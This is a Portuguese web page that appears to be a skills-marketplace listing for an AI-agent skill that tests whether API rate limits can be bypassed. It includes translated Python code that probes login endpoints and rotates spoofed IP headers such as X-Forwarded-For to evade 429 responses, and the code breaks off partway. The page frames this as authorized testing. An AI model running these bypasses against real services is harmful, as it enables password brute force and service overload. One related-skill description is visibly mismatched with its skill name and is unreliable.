performing-api-rate-limiting-bypass
Permite que seu agente teste a capacidade de contornar limites de taxa em APIs para identificar vulnerabilidades.
O que ela faz
Esta ferramenta ajuda a testar se é possível burlar os limites de quantas vezes você pode acessar um serviço online (API). Ela verifica se atacantes podem enviar muitas requisições para tentar adivinhar senhas ou sobrecarregar o serviço.
Quando usar
- ✓Para verificar se é possível adivinhar senhas de contas.
- ✓Para ver se o serviço aguenta muitas tentativas de login.
- ✓Para checar se o serviço se protege contra ataques que o deixam indisponível.
Exemplo do que pedir para a IA
“Verifique se os limites de acesso podem ser burlados para tentar adivinhar senhas no endpoint de login.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia muitas requisições para o serviço, tentando diferentes métodos, cabeçalhos (como IPs falsos) e caminhos de URL. Ela observa se o serviço aplica os limites de forma consistente ou se há brechas.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-api-rate-limiting-bypassOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-api-rate-limiting-bypass/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Contorno de Limitação de Taxa de API
Quando Usar
- Testar se a limitação de taxa de API pode ser contornada para permitir ataques de força bruta em endpoints de autenticação
- Avaliar a eficácia dos controles de limitação de API contra ataques de credential stuffing ou enumeração de contas
- Avaliar se os limites de taxa são aplicados consistentemente em todas as versões, métodos e formatos de codificação da API
- Testar se a limitação de taxa do gateway de API pode ser contornada através de manipulação de cabeçalho ou rotação de IP
- Validar que os limites de taxa protegem contra esgotamento de recursos e condições de negação de serviço
Não use sem autorização por escrito. Testes de limitação de taxa envolvem o envio de grandes volumes de requisições que podem impactar a disponibilidade do serviço.
Pré-requisitos
- Autorização por escrito especificando endpoints alvo e volumes de requisição aceitáveis
- Python 3.10+ com bibliotecas
requests,aiohttpeasyncio - Burp Suite Professional com a extensão Turbo Intruder para testes de alta velocidade
- cURL para testes manuais de manipulação de cabeçalho
- Conhecimento da infraestrutura de CDN e WAF do alvo (Cloudflare, AWS WAF, Akamai)
- Lista de cabeçalhos de contorno de limitação de taxa para testar
Fluxo de Trabalho
Passo 1: Descoberta de Limitação de Taxa e Linha de Base
Identifique como a limitação de taxa é implementada:
import requests
import time
BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}
# Send requests and track rate limit headers
def probe_rate_limit(endpoint, method="GET", count=100):
results = []
for i in range(count):
resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers)
rate_headers = {
"limit": resp.headers.get("X-RateLimit-Limit") or resp.headers.get("X-Rate-Limit-Limit"),
"remaining": resp.headers.get("X-RateLimit-Remaining") or resp.headers.get("X-Rate-Limit-Remaining"),
"reset": resp.headers.get("X-RateLimit-Reset") or resp.headers.get("X-Rate-Limit-Reset"),
"retry_after": resp.headers.get("Retry-After"),
"status": resp.status_code
}
results.append(rate_headers)
if resp.status_code == 429:
print(f"Rate limited at request {i+1}: {rate_headers}")
return results, i+1
time.sleep(0.05) # Small delay to avoid connection issues
print(f"No rate limit triggered after {count} requests")
return results, count
# Test key endpoints
login_results, login_threshold = probe_rate_limit("/auth/login", "POST", 200)
api_results, api_threshold = probe_rate_limit("/users/me", "GET", 200)
search_results, search_threshold = probe_rate_limit("/search?q=test", "GET", 200)
print(f"\nRate Limit Summary:")
print(f" Login: Triggered at request {login_threshold}")
print(f" API: Triggered at request {api_threshold}")
print(f" Search: Triggered at request {search_threshold}")
Passo 2: Técnicas de Contorno Baseadas em IP
# Bypass Technique 1: Header-based IP spoofing
IP_SPOOFING_HEADERS = [
"X-Forwarded-For",
"X-Real-IP",
"X-Original-Forwarded-For",
"X-Originating-IP",
"X-Remote-IP",
"X-Remote-Addr",
"X-Client-IP",
"X-Host",
"X-Forwarded-Host",
"True-Client-IP",
"Cluster-Client-IP",
"X-ProxyUser-Ip",
"Forwarded",
"CF-Connecting-IP",
"Fastly-Client-IP",
"X-Azure-ClientIP",
"X-Akamai-Client-IP",
]
def test_ip_spoofing_bypass(endpoint, method="POST", body=None):
"""Test if IP spoofing headers bypass rate limiting."""
# First, trigger the rate limit normally
for i in range(200):
resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers, json=body)
if resp.status_code == 429:
print(f"Rate limit triggered at request {i+1}")
break
# Now test each spoofing header
bypasses_found = []
for header in IP_SPOOFING_HEADERS:
spoofed_headers = {**headers, header: f"10.0.{i%256}.{(i*7)%256}"}
resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=spoofed_headers, json=body)
if resp.status_code != 429:
bypasses_found.append(header)
print(f"[BYPASS] {header} -> {resp.status_code}")
return bypasses_found
login_body = {"username": "test@example.com", "password": "wrongpassword"}
bypasses = test_ip_spoofing_bypass("/auth/login", "POST", login_body)
Passo 3: Contorno de Variação de Endpoint
# Técnica de Contorno 2: Variação do caminho da URL
…
Perguntas frequentes
Preciso de permissão para usar isso?
Sim, é essencial ter autorização por escrito antes de testar os limites de acesso. Testes sem permissão podem causar problemas no serviço.
O que são 'rate limits'?
São regras que limitam o número de vezes que um usuário ou sistema pode acessar um serviço em um determinado período, para evitar sobrecarga e uso indevido.
Quais ferramentas são necessárias?
Você precisará de Python com bibliotecas específicas, o Burp Suite Professional com a extensão Turbo Intruder e o cURL.
Detalhes
Descrição original do autor
Tests API rate limiting for bypass vulnerabilities using Python (requests/aiohttp) and Burp Suite Turbo Intruder to manipulate headers (e.g. X-Forwarded-For spoofing), IPs, HTTP methods, API versions, and encodings, mapping findings to OWASP API4:2023 Unrestricted Resource Consumption. Use when assessing, under written authorization, whether rate limits can be bypassed to enable brute force or res
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6020
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC